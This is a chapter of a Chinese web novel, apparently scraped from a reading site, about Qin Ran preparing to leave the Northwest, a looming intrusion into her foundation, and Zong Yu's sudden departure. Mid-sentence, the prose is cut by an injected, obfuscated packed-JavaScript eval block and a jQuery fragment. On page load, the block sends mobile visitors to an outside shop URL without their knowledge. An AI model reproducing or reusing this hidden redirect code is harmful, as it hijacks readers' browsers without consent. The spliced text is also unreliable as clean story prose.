文趣网 > 其他小说 > 西北来的太子妃 > 62. 我走了
    秦然去找爷爷说了宗予和自己要前后脚离开的事。

    她说的很慢,语气也很平静,可说道最后,还是不自觉地停了下来。

    “我可能......没办法在西北多呆一段时间了。”

    屋内很安静。

    爷爷坐在窗边,光线从侧面落下来,将他整个人衬得有些消瘦。

    他听完,静静端起茶杯,浅浅抿了一口。

    “我还以为宗予会要你与他一同离开,”他笑了一下,“能再拖几天,看来他退了一步。”

    秦然没有接话,垂下了视线。

    爷爷放在茶杯,目光落在她身上,像是在仔细将她看进眼里。

    “然然长大了。”他感叹。

    这句叹息很轻,却让秦然的心揪了起来,涌起一股难言的伤感。

    “西北这边,你不用担心。”爷爷继续说道,语气平和,“你们走了,我还在。”

    “等局面稳定下来,我也该歇一歇了,到时候去中央星找你,咱们爷俩再也不分开。”

    说道这里,他笑了笑。

    她看着爷爷,喉咙里像是被堵住了一般,说不出来话。眼角和鼻尖一片酸涩,她赶紧低下了头。

    她很清楚,爷爷说的轻松,可每一个字,都是为了替她卸掉负担。

    “爷爷......”秦然的手指微微攥紧。

    爷爷安抚地拍拍她的手,“你这丫头,总把最难的事情都往自己身上揽。爷爷盼着你卸下重担,没想到你呀——”

    他叹了口气,又说。

    “我这辈子,最想做的事也都尽力做了,只剩下这一桩,待到半年后也就圆满了。”

    屋内微风习习,带动窗帘轻轻晃动。

    秦然站在那里,突然有一种很奇怪的感觉。她明明是来告诉爷爷,自己无法留在西北陪着他的,却没想到,爷爷已经先她一步,将所有的事情都安排好了。

    她甚至连“愧疚”都显得有些多余。

    爷爷从新拿起茶杯,语气恢复了往日的从容。

    “去吧,然然。想做,就去做吧。”

    “西北不是你一个人的西北。但你能做到的事,别人做不了。”

    秦然终于点了点头,“好。”

    转身离开的时候,她没有回头。

    门在身后合上。

    明明分离在即,心头的惆怅却在片刻消散。

    她期待着,期待半年后的再次重逢。

    秦然匆匆离开,在走之前,她得把接下来的事情都安排好。

    她到的时间还早,往常这个时候,日夜颠倒的林枭还在睡梦中。但今天,他正挂着大大的黑眼圈端坐在光屏后,连声音都比往常低了些。

    “有人在查基金会。”

    秦然坐下的动作微不可察地顿了顿。

    关于这点,她早有心理准备,但能把林枭逼到这一步的,还是第一次出现。

    “查到哪一步了?”她问。

    “外围防护网还在,但对方已经绕过了两层假库。手法很老道,不像普通情报部门,倒像是——专门做这一行的人。”

    “前几天,有人动完手,很快消停了下去,没想到这两天又起,攻势还猛了起来。”

    “小姐,对方的来意不善——”

    秦然抬眉微微思索片刻,窗外和煦的光线落在她的脸上,映得那双眼睛愈发沉静。

    “你还能挡多久?”

    林枭的脸色难看了很多,他没有立刻回答,连续敲击的指尖倒是短暂地停了下来。

    “如果只是常规追查,我可以拖三个月,甚至反击,但——”他说,“但对方不一样。”

    他轻轻敲了一下键盘,一串被截断的入侵路径浮现出来,又迅速被他抹去。

    “他们目前还在摸索阶段,一旦确认好方向,就不会再给我反应时间。”

    他抬头看向秦然,目光难得带上了一点凝重。

    “最多一个月。”

    秦然没有说话,指尖在沙发扶手上轻轻敲击。

    她并不关心是谁在查,能做到这一步的人,不多。

    她关心的,是时间。

    一个月。

    她必须在这段时间里,将该收的线,全都收干净。

    她抬手点开终端,像是在心里做了最后的决定。

    “够了。”

    她的声音里没有任何迟疑。

    “我会在在一个月内,让一三基金会从西北彻底消失。”

    “是。”林枭正了正神色,“小姐放心,一个月内,我一定会守好底线。”

    秦然没有继续逗留,带着新鲜出炉的倒计时,再次出发。

    霍文舒循着消息来找她时,她正站在露台上,俯视着下方的尘烟滚滚。

    远处的机械臂缓慢运转,钢架在晨光里一点点拼接成型。

    “来告别?”霍文舒开口,没有寒暄。

    秦然没有回头,“消息传的倒快。”

    霍文舒走到她身侧,视线同样落在那片尚未完工的土地上,“什么时候动身?”

    一股轻风吹过,将二人的头发吹的微微扬起。

    凌乱的发丝挡住了秦然的丝线,她索性转过身,背靠在栏杆上。

    “半个月后。”她给出了具体时间。

    “那还有时间。”霍文舒耸了耸肩,比她想象中好点。“不,”秦然打断了她的话,“时间非常紧迫。”

    她侧过脸,平静地丢下了一记重雷,“一个月内,增设民生基金,全面接手西北基建资金。届时,一三基金会将逐步撤离。”

    空气安静了下来,霍文舒张大嘴巴,目瞪口呆地看着她,良久才合上下巴。

    “你认真的?”

    秦然看着她,挑了挑眉,没有说话。

    霍文舒沉默了很久,才艰难开口。

    “这件事的难度很大,一旦开始施行,过去的节奏都会被打乱。”

    “我知道。”秦然语气平淡。

    “那你还——”

    “我相信你能做到。”

    一句话,把责任和信任都交了过去。

    霍文舒再次哑口无言,只是沉默地看着她。

    “我该谢谢你的信任吗?”她问。

    秦然摇了摇头,听到这句话,沉甸甸的心底突然松了一道缝隙,她笑了。

    “不必。”

    霍文舒无言地看着她半响,良久,才轻轻点头。

    “一个月的时间太短,我会尽我所能。”

    秦然收起了脸上的笑意,直视她。

    “不是尽力。”

    “是必须。”

    “好。”霍文舒目光沉沉,接住了这句话。。

    秦然这才收回目光,她像是突然想起了什么般,语气随意地问道。

    “你不觉得,是我在抛弃西北吗?”

    这句话问的很轻,也很重。

    霍文舒白了她一眼,又移开目光,看向遥远的天际。

    “我还不至于这么傻。”

    她顿了顿,语气低了几分——

    “如果你真的不管西北,就不会勉强自己回到中央星。”

    秦然看着她,没有再说话,只是再次笑了。

    这次,笑意虽浅,却经久未散。

    与此同时,荒漠中的应理,抬手擦了擦脸上的汗水。

    这段时间,她一直在跟线,随着三号机的投入使用,她把几条主要的调度路线从头到尾走了一遍。

    那是一条条行至

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966829|210381||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    西北各个角落的运行路线。

    从指定下发,到中转节点的响应延迟,再到末端执行的资源配置,每一个环节她都盯得很仔细。

    途中,她几次临时交通三号机的运行,不是因为故障,而是因为“偏差”。

    有的路径出现了重复调用,在原定路线出现意外时,三号机并不能准确识别、并且更换到备用路线上,还有的资源逻辑分配也有问题,在极端条件下会出现短暂地冗余。

    这些问题,放在中央星上,她几乎不会察觉到。

    但现在,她一条一条标了出来。

    她甚至在返程后,把整条运行路线进行拆解,重新做了一遍行程模拟。

    最终,她递上了一份整改意见。

    报告内容不长,每一条,都是她这几天以来的宝贵经验所得。

    连萧赫看完,都不免多看了她两眼。

    “你可真是够尽善尽美的。”

    应理没有否认,只是擦干净随身工具,塞进了箱子里。

    “既然要用,就不能将就。”

    她的话音刚落,风从入口出卷进,带着细碎的砂砾。

    远处,一台台三号机重新启动,满载物资,稳步走入荒漠中。

    一切,都在按照既定的轨迹运转。

    还没等秦然松口气,另一个让人感到意外的消息突然传来。

    宗予突然提前要走。

    原定的三日后出发,被压缩到了次日。

    消息传到秦然手上时,已经没有多余的时间了。

    她匆匆赶来。

    飞行器已经启动,舱门即将关闭。

    她刚她上去,宗予就伸出手,将她的手牢牢扣紧。

    他握的很用力,一路上,都没有松开。

    秦然察觉到了异样,却没有开口问询。

    舱内很安静,只有引擎低低的轰鸣声。

    直到飞行器降落,他却没有立刻放她下去。

    “送到这里就够了。”他说。

    苏安识相地退开,舱门缓缓闭合,只剩下他们两人。

    秦然看着他,隐约觉得哪里不对。

    她原以为,他会像上次那样主动靠近,可他没有。

    宗予只是看着她,眼神克制。

    良久,他突然低头,在秦然还没反应过来时,指节已经被他含入口中。

    牙齿落下。

    力道不轻,甚至带着一点狠。

    她整个人一僵,不只是因为疼——

    秦然下意识想抽回手,却被他扣的更紧。

    宗予温热的呼吸落在她的手背上。

    “别让我等太久。”

    他的声音低沉,带着一点压不住的情绪。

    这句话既像请求,又像是命令。

    秦然心口微微一滞,他这才松开她。

    指节上残留着清晰的齿痕。

    宗予看了一眼,目光幽暗,又很快收敛。

    宗予再次在她指尖印上一吻,随后,他松开手。

    “我走了。”他起身离开,向着不远处的星舰走去。

    没有回头。

    秦然没有起身。

    指节上的齿痕还在隐隐发热,她低头看了一眼。

    半响,她将视线移向窗外,明明是艳阳高照的天气,她却莫名觉得浑身发冷。

    宗予的突然离开,让她一口气憋在胸口久久不能散去。

    想到他离开前说的,她可以晚归半个月——

    秦然不由凝眉。

    如果只是普通安排,他不会突然提前离开。

    能让他改变行程的人和事,都屈指可数。

    她不禁捏紧手指。

    留给她的时间,或许已经不是一个月了。